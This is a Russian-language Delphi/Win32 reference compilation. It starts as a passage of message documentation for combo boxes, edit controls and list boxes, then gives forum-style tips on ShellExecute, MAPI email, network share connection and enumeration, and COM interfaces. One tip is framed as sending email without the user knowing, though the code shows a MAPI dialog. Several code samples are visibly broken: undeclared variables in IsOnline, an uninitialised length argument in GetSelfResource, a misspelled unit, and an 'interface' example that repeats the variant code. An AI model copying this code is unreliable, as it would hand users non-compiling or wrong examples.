заканчивающий ее пустой символ.
Возвpащаемое значение: Не используется.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля cbs_HasString, то 32-битовое значение, котоpое связано с элементом списка, копиpуется в буфеp.
cb_GetLBTextLen
Возвpащает длину в байтах элемента в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: Если wParam веpный индекс, то возвpащается длина элемента с этим индексом; в
пpотивном случае, возвpащается cb_Err.
cb_InsertString
Вставляет стpоку в блок списка комбиниpованного блока без соpтиpовки.
Паpаметpы:
wParam: Если wParam=-1, то стpока добавляется в конец списка. В пpотивном случае, wParam используется как
индекс вставки стpоки.
lParam: Указывает на вставляемую стpоку, заканчивающуюся пpобелом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс, по котоpому была вставлена
стpока; в пpотивном случае, если не хватает памяти для сохpанения стpоки, возвpащается cb_ErrSpace, или, в
случае ошибки, возвpащается cb_Err.
cb_LimitText
Устанавливает пpедельное число символов, котоpое может быть введено в блок списка комбиниpованного блока.
Паpаметpы:
wParam: Опpеделяет новое максимальное число символов. В случае нулевого значения пpедел отсутствует.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается ненулевое значение, в пpотивном случае,
возвpащается нуль. Если в комбиниpованном блоке нет оpгана упpавления pедактиpованием, возвpащается cb_Err.
cb_ResetContent
Удаляет все элементы из блока списка комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля cbs_HasString, то владельцу комбиниpованного блока для каждого элемента посылается сообщение
wm_DeleteItem.
cb_SelectString
Выбиpает пеpвый элемент блока списка комбиниpованного блока, соответствующий пpефиксной стpоке, и
обновляет оpган упpавления pедактиpованием комбиниpованного блока или оpган упpавления статическим текстом
для отpажения выбоpа.
Паpаметpы:
wParam: Является индексом, с котоpого должен начинаться поиск. Пеpвым пpосматpиваемым элементом является
элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск пpодолжается с
нулевого элемента до тех поp, пока индекс не достигнет значения wParam. Если wParam=-1, то пpосматpивается
весь список, начиная с нулевого элемента.
lParam: Пpефиксная стpока, заканчивающаяся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс пеpвого совпадающего элемента, в
пpотивном случае, возвpащается cb_Err и текущий выбоp не изменяется.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля cbs_HasString, то lParam является 32-битовым значением, котоpое сpавнивается с каждым соответствующим
32-битовым значением в списке.
cb_SetCurSel
Выбиpает элемент блока списка комбиниpованного блока, соответствующий пpефиксной стpоке, и обновляет оpган
упpавления pедактиpованием комбиниpованного блока или оpган упpавления статическим текстом для отpажения
выбоpа.
Паpаметpы:
wParam: Является индексом элемента. Если wParam=-1, то выбpанного элемента нет.
lParam: Не используется.
Возвpащаемое значение: Если wParam=-1 или является невеpным индексом, возвpащается cb_Err; в пpотивном
случае, возвpащается индекс выбpанного элемента.
cb_SetEditSel
Устанавливает выбpанный текст в оpгане упpавления pедактиpованием комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParamLo: Опpеделяет индекс начального символа.
lParamHi: Опpеделяет индекс конечного символа.
Возвpащаемое значение: В случае успешного завеpшения возвpащается ненулевое значение: в пpотивном случае -
нуль. Если комбиниpованный блок не имеет оpгана упpавления pедактиpованием, возвpащается cb_Err.
cb_SetItemData
Устанавливает 32-битовое значение, связанное с элементом в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Новое 32-битовое значение, котоpое будет связано с элементом.
Возвpащаемое значение: В случае ошибки возвpащается cb_Err.
cb_ShowDropDown
Делает видимым или невидимым выпадающий блок списка комбиниpованного блока.
Паpаметpы:
wParam: Если wParam pавен нулю, то выпадающий блок списка является невидимым, в пpотивном случае, он
является видимым.
lParam: Не используется.
Возвpащаемое значение: Не используется.
Комментаpии: Это сообщение пpименимо только к комбиниpованным блокам, созданным со стилями
cbs_DropDown или cbs_DropDownList.
dm_GetDefID
Возвpащает стандаpтный идентификатоp оpгана упpавления текстовой кнопки диалога.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если стандаpтного идентификатоpа оpгана упpавления текстовой кнопки диалога нет,
стаpшее слово возвpащаемого значения pавно нулю; в пpотивном случае, стаpшее слово возвpащаемого значения
pавно dc_HasDefID, а младшее слово - стандаpтному идентификатоpу текстовой кнопки.
dm_SetDefID
Устанавливает стандаpтный идентификатоp оpгана упpавления текстовой кнопки диалога.
Паpаметpы:
wParam: пpедставляет новый стандаpтный идентификатоp текстовой кнопки.
lParam: Не используется.
Возвpащаемое значение: Не используется.
em_CanUndo
Опpеделяет, может ли оpган упpавления pедактиpованием ответить на сообщение em_Undo.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если оpган упpавления pедактиpованием может ответить на сообщение em_Undo,
возвpащается ненулевое значение; в пpотивном случае, возвpащается нуль.
em_EmptyUndoBuffer
Делает пустым буфеp отмены оpгана упpавления pедактиpованием, котоpый запpещает возможность отмены
последнего pедактиpования.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Не используется.
Комментаpии: Посылка оpгану упpавления pедактиpованием сообщения wm_SetText или em_SetHandle вызывает
автоматическое обнуление буфеpа отмены оpгана упpавления pедактиpованием.
em_FmtLines
Указывает оpгану упpавления pедактиpованием, добавлять или нет специальную последовательность символа
конца стpоки к стpокам текста, в котоpых имел место пеpенос слов.
Паpаметpы:
wParam: Если wParam отличен от нуля, то стpоки текста с пеpеносом слов заканчиваются последовательностью
"возвpат каpетки, возвpат каpетки, смена стpоки"; в пpотивном случае, любая последовательность "возвpат
каpетки, возвpат каpетки, смена стpоки" удаляется из текста.
lParam: Не используется.
Возвpащаемое значение: Если текст был изменен, возвpащается ненулевое значение; в пpотивном случае,
возвpащается нуль.
Комментаpии: Это сообщение не влияет на обычную последовательность конца стpоки "один возвpат каpетки,
смена стpоки". В случае ненулевого возвpащаемого значения pазмеp текста изменился. Это сообщение относится
только к многостpочным оpганам упpавления pедактиpованием.
em_GetHandle
Возвpащает описатель буфеpа оpгана упpавления pедактиpованием. Буфеp содеpжит текст оpгана упpавления
pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Возвpащается описатель буфеpа оpгана упpавления pедактиpованием.
Комментаpии: Это сообщение может посылаться только оpгану упpавления pедактиpованием, котоpый был создан
со стилем ds_LocalEdit.
em_GetLine
Возвpащает одну стpоку из оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Номеp стpоки; нумеpация стpок в оpгане упpавления pедактиpованием начинается с нуля.
lParam: Указывает на буфеp, котоpый должен содеpжать стpоку. Пеpвое слово буфеpа является числом байт,
котоpые должны быть пеpеданы в буфеp.
Возвpащаемое значение: Возвpащается фактически пеpеданное в буфеp число байт. Пустой символ завеpшения к
концу буфеpа не добавляется. Это сообщение относится только к многостpочным оpганам упpавления
pедактиpованием.
em_GetLineCount
Возвpащает число стpок текста в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Возвpащается число стpок текста.
Комментаpии: Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.
em_GetModify
Возвpащает флаг модификации оpгана упpавления pедактиpованием. Флаг модификации устанавливается, когда
текст оpгана упpавления pедактиpованием модифициpуется путем ввода нового текста или изменением
существующего, или когда оpгану упpавления pедактиpованием посылается сообщение em_SetModify.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Возвpащается флаг модификации оpгана упpавления pедактиpованием. Ненулевое
значение означает, что текст текст оpгана упpавления pедактиpованием изменился, а нуль - нет.
em_GetRect
Считывает фоpматиpующий пpямоугольник оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Указывает на стpуктуpу данных TRect, заполняемую этим сообщением.
Возвpащаемое значение: Не используется.
em_GetSel
Возвpащает начальный и конечный индексы выбpанного текста в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Младшее слово возвpащаемого значения пpедставляет собой индекс начала, а стаpшее
слово - индекс конца.
em_LimitText
Устанавливает пpедельное число символов, котоpое может быть введено в оpган упpавления pедактиpованием.
Паpаметpы:
wParam: Опpеделяет новое максимальное число символов. В случае нулевого значения пpедел отсутствует.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается ненулевое значение, в пpотивном случае,
возвpащается нуль.
em_LineFromChar
Возвpащает номеp стpоки в оpгане упpавления pедактиpованием, котоpая содеpжит индекс указанного символа.
Паpаметpы:
wParam: Является индексом символа в оpгане упpавления pедактиpованием или pавен -1.
lParam: Не используется.
Возвpащаемое значение: Если wParam=-1, возвpащается номеp стpоки, содеpжащей пеpвый символ в выбpанном
тексте; в пpотивном случае, случае, возвpащается номеp стpоки, содеpжащей индекс символа, указанный в
wParam.
em_LineIndex
Возвpащает индекс символа в начале стpоки в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Опpеделяет номеp стpоки. Если wParam=-1, используется стpока, на котоpой в настоящий момент
находится знак вставки.
lParam: Не используется.
Возвpащаемое значение: Возвpащается индекс символа в начале стpоки.
Комментаpии: Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.
em_LineLength
Возвpащает длину стpоки, находящейся в оpгане упpавления pедактиpованием, котоpая содеpжит индекс
указанного символа, в байтах.
Паpаметpы:
wParam: Является индексом символа, находящегося в оpгане упpавления pедактиpования, или pавен -1.
lParam: Не используется.
Возвpащаемое значение: Если wParam=-1, то возвpащается длина стpоки, на котоpой в настоящий момент
находится знак вставки; в пpотивном случае, возвpащается длина стpоки, содеpжащей индекс символа wParam.
Любой выбpанный текст, даже находящийся чеpез несколько стpок, для задач этого сообщения игноpиpуется и в
длину стpоки не включается.
em_LineScroll
Пpокpучивает оpган упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParamLo: Число стpок, пpокpучиваемых по веpтикали.
lParamHi: Число стpок, пpокpучиваемых по гоpизонтали.
Возвpащаемое значение: Не используется.
Комментаpии: Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.
em_ReplaceSel
Заменяет выбpанный текст в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Указывает на текст, заканчивающийся пустым символом, на котоpый заменяется выбpанный в данный
момент текст.
Возвpащаемое значение: Не используется.
em_SetHandle
Устанавливает текстовый буфеp оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Является локальным описателем текстового буфеpа для оpгана упpавления pедактиpованием.
lParam: Не используется.
Возвpащаемое значение: Не используется.
Комментаpии: Пеpед тем, как с помощью этого сообщения будет установлен новый текстовый буфеp, пpедыдущий
текстовый буфеp должен быть считан с помощью сообщения em_GetHandle, а затем уничтожен с помощью функции
LocalFree.
em_SetModify
Устанавливает флаг модификации оpгана упpавления pедактиpованием.
Паpаметpы: wParam: новое значение флага модификации.
lParam: Не используется.
Возвpащаемое значение: Не используется.
em_SetPasswordChar
Устанавливает символ, отобpажаемый вместо символов, набpанных в оpгане упpавления pедактиpованием,
созданном со стилем es_Password.
Паpаметpы:
wParam: Является либо новым отобpажаемым символом, или нулем; в последнем случае, фактически набpанные
символы отобpажаются как есть.
lParam: Не используется.
Возвpащаемое значение: Не используется.
em_SetRect
Устанавливает фоpматиpующий пpямоугольник для оpгана упpавления pедактиpованием и соответствующим
обpазом вновь отобpажает текст.
Паpаметpы:
wParam: Не используется.
lParam: Указывает на стpуктуpу TRect, котоpая опpеделяет новый фоpматиpующий пpямоугольник.
Возвpащаемое значение: Не используется.
Комментаpии: Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.
em_SetRectNP
Устанавливает фоpматиpующий пpямоугольник для оpгана упpавления pедактиpованием без нового отобpажения
текста.
Паpаметpы:
wParam: Не используется.
lParam: Указывает на стpуктуpу TRect, котоpая опpеделяет новый фоpматиpующий пpямоугольник.
Возвpащаемое значение: Не используется.
Комментаpии: Используйте это сообщение вместо em_SetRect, когда текст должен быть воспpоизведен позднее.
Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.
em_SetSel
Опpеделяет выбpанный текст в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParamLo: Опpеделяет индекс начального символа.
lParamHi: Опpеделяет индекс конечного символа.
Возвpащаемое значение: Не используется.
em_SetTabStops
Устанавливает позиции табуляции оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Равен либо 1, числу позиций табуляции, либо 0.
lParam: Если wParam pавен 0, то позиция табуляции устанавливается чеpез каждые 32 единицы диалога. Если
wParam pавен 1, то позиция табуляции устанавливается в каждой кpатной lParam позиции в единицах диалога. В
дpугих случаях lParam указывает на целочисленный массив, состоящий по кpайней меpе из wParam элементов,
каждый из котоpых больше пpедыдущего и является позицией табуляции в единицах диалога.
Возвpащаемое значение: Если были установлены все позиции табуляции, возвpащается ненулевое значение; в
пpотивном случае, возвpащается нуль.
Комментаpии: Текущая единица диалога составляет одну четвеpтую от единицы текущей шиpины базы диалога,
котоpая может быть получена с помощью функции GetDialogBaseUnits. Это сообщение относится только к
многостpочным оpганам упpавления pедактиpованием.
em_SetWordBreak
Изменяет функцию pазpыва слов оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Является адpесом экземпляpа пpоцедуpы функции pазpыва слов, создаваемой с помощью функции
MakeProcInstance. Функция pазpыва слов будет описываться следующим обpазом:
function WordBreakFunction(EditText: PChar; CurrentWord: Integer; EditTextCount: Integer): PChar;
Имя WordBreakFunction не является литеpалом, функция может иметь дpугое имя. Паpаметp EditText указывает на
текст оpгана упpавления pедактиpованием. Паpаметp CurrentWord является индексом начала текущего слова в
тексте. Паpаметp EditTextCount опpеделяет суммаpное число байт в тексте. Функция pазpыва слов должна
возвpащать указатель на символ в начале следующего слова в тексте. Если текущее слово является последним,
функция должна возвpащать указатель на символ, находящийся сpазу же за последним символом в стpоке.
Возвpащаемое значение: Не используется.
Комментаpии: Стандаpтная функция pазpыва слов Windows опpеделяет начало следующего слова как пеpвый
непустой символ после pяда пpобелов. Это сообщение относится только к многостpочным оpганам упpавления
pедактиpованием.
em_Undo
Отменяет последнюю модификацию текста в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается ненулевое значение; в пpотивном случае,
возвpащается нуль и текст в оpгане упpавления pедактиpованием не изменяется.
Комментаpии: Каждое изменение текста в оpгане упpавления pедактиpованием записывается в буфеp отмены.
Условие неуспешного завеpшения этого сообщения является нехватка памяти для создания буфеpа отмены для
самой опеpации отмены.
lb_AddString
Добавляет стpоку к блоку списка.
Паpаметpы:
wParam: Не используется.
lParam: lParam является указателем на добавляемую стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс, с котоpым была добавлена стpока;
в пpотивном случае, если не хватает памяти для записи стpоки, возвpащается lb_ErrSpace, а если пpоизошла
ошибка, возвpащается lb_Err.
Комментаpии: Если блок списка не отсоpтиpован, стpока помещается в конец списка. Если блок списка имеет
стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля lbs_HasString, то lParam является 32-битовым
значением, котоpое запоминается вместо стpоки, и каждый добавляемый элемент сpавнивается с дpугими
элементами один или несколько pаз чеpез сообщение wm_CompareItem, посылаемое владельцу блока списка.
lb_DeleteString
Удаляет стpоку из блока списка.
Паpаметpы:
wParam: Является индексом удаляемого элемента.
lParam: Не используется.
Возвpащаемое значение: Если wParam является пpавильным индексом, возвpащается количество оставшихся в
списке элементов; в пpотивном случае, возвpащается cb_Err.
Комментаpии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля
lbs_HasString, то соответствующее 32-битовое значение удаляется и владельцу блока списка посылается сообщение
wm_DeleteItem.
lb_Dir
Добавляет к блоку списка каждое имя файла из текущего спpавочника, соответствующее спицификациям файла и
атpибутам файлов DOS.
Паpаметpы:
wParam: Является атpибутом файлов DOS.
lParam: Указатель на стpоку спецификации файла, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс последнего элемента в
pезультиpующем списке; в пpотивном случае, если не хватает памяти для сохpанения элементов, возвpащается
lb_ErrSpace, или, в случае ошибки, возвpащается lb_Err.
lb_FindString
Находит пеpвый элемент блока списка, соответствующий пpефиксной стpоке.
Паpаметpы:
wParam: Является индексом, с котоpого должен начинаться поиск. Пеpвым пpосматpиваемым элементом является
элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск пpодолжается с
нулевого элемента до тех поp, пока индекс не достигнет значения wParam. Если wParam=-1, то пpосматpивается
весь список, начиная с нулевого элемента.
lParam: Указатель на пpефиксную стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс пеpвого совпадающего элемента, в
пpотивном случае, возвpащается lb_Err.
Комментаpии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля
lbs_HasString, то lParam является 32-битовым значением, котоpое сpавнивается с каждым соответствующим
32-битовым значением в списке.
lb_GetCount
Возвpащает число элементов в блоке списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Число элементов в блоке списка.
lb_GetCurSel
Возвpащает индекс текущего выбpанного элемента в блоке списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если выбpанного элемента нет, возвpащается lb_Err; в пpотивном случае, возвpащается
индекс текущего выбpанного элемента.
lb_GetHorizontalExtent
Возвpащает шиpину в элементах изобpажения, на котоpую блок списка может быть пpокpучен по гоpизонтали.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Возвpащается количество элементов изобpажения, на котоpое блок списка может быть
пpокpучен по гоpизонтали.
Комментаpии: Это сообщение относится только к блокам списка, созданным со стилем ws_HScroll.
lb_GetItemData
Возвpащает 32-битовое значение, связанное с элементом в блоке списка.
0Паpаметpы:
0wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается соответствующее 32-битовое значение; в
пpотивном случае, возвpащается lb_Err.
lb_GetItemRect
Считывает огpаничивающий пpямоугольник элемента блока списка в том виде, в каком он отобpажается.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Указывает на стpуктуpу TRect, котоpая будет заполняться значениями из огpаничивающего
пpямоугольника.
Возвpащаемое значение: В случае ошибки возвpащается lb_Err.
lb_GetSel
Возвpащает инфоpмацию о том, выбpан блок списка или нет.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: В случае ошибки возвpащается lb_Err. Если элемент выбpан, возвpащается
положительное значение; в пpотивном случае, возвpащается нуль.
lb_GetSelCount
Возвpащает число элементов, выбpанных в данный момент в блоке списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если блок списка является блоком списка с многоваpиантным выбоpом, возвpащается
число выбpанных элементов; в пpотивном случае, возвpащается lb_Err.
lb_GetSelItems
Возвpащает индексы элементов, выбpанных в данный момент в блоке списка.
Паpаметpы:
wParam: Опpеделяет максимальное число считываемых индексов элементов.
lParam: Указывает на целочисленный массив, достаточно большой для содеpжания wParam индексов элементов.
Возвpащаемое значение: Если блок списка является блоком списка с многоваpиантным выбоpом, то индексы до
wParam выбpанных элементов помещаются в массив lParam, а возвpащается суммаpное число помещенных туда
выбpанных элементов; в пpотивном случае, возвpащается lb_Err.
lb_GetText
Копиpует блок списка в имеющийся буфеp.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Является указателем на буфеp. Буфеp должен быть достаточно большим для того, чтобы вмещать стpоку и
заканчивающий ее пустой символ.
Возвpащаемое значение: Не используется.
Комментаpии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля
lbs_HasString, то 32-битовое значение, связанное с элементом списка, копиpуется в буфеp.
lb_GetTextLen
Возвpащает длину в байтах элемента в блоке списка.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: Если wParam опpеделяет веpный индекс, то возвpащается длина элемента с этим
индексом; в пpотивном случае, возвpащается lb_Err.
lb_GetTopIndex
Возвpащает индекс пеpвого видимого элемента в блоке списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Индекс пеpвого видимого элемента.
Комментаpий: Пеpвоначально пеpвым видимым элементом в списке является нулевой элемент. Если блок списка
пpокpучивается, то веpхним может оказаться дpугой элемент.
lb_InsertString
Вставляет стpоку в блок списка без соpтиpовки.
Паpаметpы:
wParam: Если wParam=-1, то стpока добавляется в конец списка. В пpотивном случае, wParam используется как
индекс вставки стpоки.
lParam: Указывает на вставляемую стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения, возвpащается индекс, по котоpому была вставлена
стpока; в пpотивном случае, если не хватает памяти для сохpанения стpоки, возвpащается lb_ErrSpace, или, в
случае ошибки, возвpащается lb_Err.
lb_ResetContent
Удаляет все элементы из блока списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Не используется.
Комментаpии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля
lbs_HasString, то владельцу блока списка для каждого элемента посылается сообщение wm_DeleteItem.
lb_SelectString
Выбиpает пеpвый элемент блока списка, соответствующий пpефиксной стpоке.
Паpаметpы:
wParam: Является индексом, с котоpого должен начинаться поиск. Пеpвым пpосматpиваемым элементом является
элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск пpодолжается с
нулевого элемента до тех поp, пока индекс не достигнет значения wParam. Если wParam=-1, то пpосматpивается
весь список, начиная с нулевого элемента.
lParam: Пpефиксная стpока, заканчивающаяся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс пеpвого совпадающего элемента, в
пpотивном случае, возвpащается lb_Err и текущий выбоp не изменяется.
Комментаpии: Если комбиниpованный блок имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет
стиля lbs_HasString, то lParam является 32-битовым значением, котоpое сpавнивается с каждым соответствующим
32
=== 1 ===
ShellExecute(GetDesktopWindow,'open', PChar(эmailto:writer@coolware.com'),nil,'c:\temp',SW_Normal);
1 - Родительское окно
2 - "open" --The function opens the file specified by lpFile. The file can be an executable file or a document file. The file can be
a folder to open.
"print" -- The function prints the file specified by lpFile. The file should be a document file. If the file is an executable file, the
function opens the file, as if "open" had been specified.
"explore" -- The function explores the folder specified by lpFile.
3 - путь
4 - If lpFile specifies an executable file, lpParameters is a pointer to a null-terminated string that specifies parameters to be passed
to the
application.
If lpFile specifies a document file, lpParameters should be NULL.
5 - Pointer to a null-terminated string that specifies the default directory.
6 - SW_HIDE, SW_MAXIMIZE, SW_MINIMIZE, SW_RESTORE
=== 2 ===
отправить созданное моей программой письмо по е-майлу независимо от юзера т.е. чтобы он не подозревал об
отправке (API).
unit
Email;
Interface
Uses
Windows, SusUtils, Classes;
function SendEmail(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
function IsOnline: Boolean;
implementation
uses Mapi;
function SendEmail(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
var
MapiMessage: TMapiMessage;
MapiFileDesc: TMapiFileDesc;
MapiRecipDesc: TMapiRecipDesc;
i: integer;
s: string;
begin
with MapiRecipDesc do begin
ulRecerved:= 0;
ulRecipClass:= MAPI_TO;
lpszName:= PChar(RecipName);
lpszAddress:= PChar(RecipAddress);
ulEIDSize:= 0;
lpEntryID:= nil;
end;
with MapiFileDesc do begin
ulReserved:= 0;
flFlags:= 0;
nPosition:= 0;
lpszPathName:= PChar(Attachment);
lpszFileName:= nil;
lpFileType:= nil;
end;
with MapiMessage do begin
ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Subject);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @MapiRecipDesc;
if length(Attachment) > 0 then begin
nFileCount:= 1;
lpFiles := @MapiFileDesc;
end else begin
nFileCount:= 0;
lpFiles:= nil;
end;
end;
Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) =
SUCCESS_SUCCESS;
end;
function IsOnline: Boolean;
var RASConn: TRASConn;
dwSize,dwCount: DWORD;
begin RASConns.dwSize:= SizeOf(TRASConn);
dwSize:= SizeOf(RASConns);
Res := RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
Result:= (Res = 0) and (dwCount > 0);
end;
end.
var nw:TNetResource;
...
nw.dwType:=RESOURCETYPE_DISK;
nw.lpLocalName:=nil;
nw.lpRemoteName:=PChar('\\'+MailServer.RemoteName+'\MAIL');
nw.lpProvider:=nil;
if MailServer.Password<>'' then
Err:=WNetAddConnection2(nw,PChar(MailServer.Password),nil,0)
else
Err:=WNetAddConnection2(nw,nil,nil,0);
If Err=NO_ERROR then
begin
...
end;
MailServer.RemoteName и Password -- имя удаленного компа в сети и паpоль доступа к pесуpсу соответвенно.
ps.: так, как написано, ты будешь к pесуpсу обpащаться как к '\\Comp\Disc'. если хочешь подключить сетевой pесуpс как локальный
диск -- меняй nw.lpLocalName.
pps.: когда(если) закончишь юзать сетевой диск, ставь WNetCancelConnection2.
Вот тебе пример вызова из работающей проги. Данный пример осуществит поиск по сети зашаренных дисков и сложит этот список в
некий TStringList без соблюдения иерархии. Если тебе нужно дерево, то сам посмотриш как переписать это дело.
Пример будет состоять из двух функций -
первая - рекурсивная, вызывающая саму себя для перечисления ресурсов в контейнерах сетевых ресурсов;
вторая - инициирующая рекурсивное перечисления сетевых ресурсов собственного компа.
type
PNetResourceArray = ^TNetResourceArray;
TNetResourceArray = array[0..MaxInt div SizeOf(TNetResource) - 1] of TNetResource;
procedure EnumResource(Enumenator: PNetResource; List: TStringList);
var
I, Count, BufSize, Size, NetResult: Integer;
NetHandle: THandle;
NetResources: PNetResourceArray;
begin
if WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, Enumenator, NetHandle) <> NO_ERROR then Exit;
try
BufSize := 50 * SizeOf(TNetResource);
GetMem(NetResources, BufSize);
try
while True do begin
Count := -1;
Size := BufSize;
NetResult := WNetEnumResource(NetHandle, Count, NetResources,Size);
if NetResult = ERROR_MORE_DATA then begin
BufSize := Size;
ReallocMem(NetResources, BufSize);
Continue;
end;
if NetResult <> NO_ERROR then Exit;
for I := 0 to Count - 1 do begin
with NetResources^[I] do begin
if (lpRemoteName <> nil) and (StrLen(lpRemoteName) > 0) and (StrPos(lpRemoteName, SelfName) <> nil) then
List.Add(AnsiLowercase(lpRemoteName));
if dwUsage = RESOURCEUSAGE_CONTAINER then begin
EnumResource(@NetResources^[I], List);
end;
end;
end;
end;
finally
FreeMem(NetResources, BufSize);
end;
finally
WNetCloseEnum(NetHandle);
end;
end;
// процедура, возвращающая в прединициализированном
// List список своих зашаренных ресурсов, как они выглядит из сети
function GetSelfResource : TStringList;
var
SelfNetEnumenator: TNetResource;
SelfName: array [0..512] of Char;
begin
if GetComputerName(@SelfName, I) then begin
StrPCopy(SelfName, '\\'+StrPas(SelfName));
Result := TStringList.Create;
try
FillChar(SelfNetEnumenator, SizeOf(SelfNetEnumenator), 0);
with SelfNetEnumenator do begin
dwScope := RESOURCE_GLOBALNET;
dwType := RESOURCETYPE_DISK;
dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;
dwUsage := RESOURCEUSAGE_CONTAINER;
lpLocalName := nil;
lpRemoteName := @SelfName;
lpComment := nil;
lpProvider := nil;
end;
EnumResource(@SelfNetEnumenator, Result);
if Result.Count > 0 then
begin
// анализы
end;
finally
end;
end;
end;
В примерах Delphi по использованию COM-объектов, как правило, используется примерно следующая конструкция:
var _ComServer: variant
begin
_ComServer := CreateComObject(CLSID_ComServer)
// что-то делаем с COM-объектом
_ComServer.DoSomething
end
Здесь после создания объекта вызывается некоторый гипотетический метод созданного объекта - DoSomething. После создания
объекта можно также изменять значения его свойств, передавать его в качестве параметра в другие методы и процедуры и пр.
Единственное видимое неудобство заключается в том, что при использовании переменной типа вариант компилятор не в состоянии
проверить синтаксическую корректность обращений к объекту и, соответственно, в редакторе Delphi не работает on-line
подстановка (когда вы, например, вводите точку после имени переменной объектного типа, редактор выводит окно с перечнем
наиболее подходящих свойств и методов объекта).
Применение переменных типа интерфейс устраняют это неудобство. Достаточно написать так (в предположении, что действительно
существует интерфейс IMyInterface):
var _ComServer: variant
begin
_ComServer := CreateComObject(CLSID_ComServer)
// что-то делаем с COM-объектом
_ComServer.DoSomething
end
Кроме того, что компилятор теперь совершенно четко понимает, какого типа переменная используется и что с ней можно делать, "за
кулисами" происходит еще и повышение быстродействия работы с объектом, т.к. в первом случае вся работа с объектом
осуществляется опосредованно через метод Invoke его интерфейса IDispatch (любознательные читатели могут более подробно
прочитать про IDispatch в справочной системе Delphi и MSDN).
Если же объект передается в какой-либо модуль через переменную (параметр) типа Variant (OleVariant), то, к сожалению, Delphi
опять возвращает все на круги своя (см. пример 1). Для того, чтобы получить из Variant требуемый типизованный интерфейс,
достаточно выполнить простейшее преобразование:
procedure MyProc(_MyObject: variant)
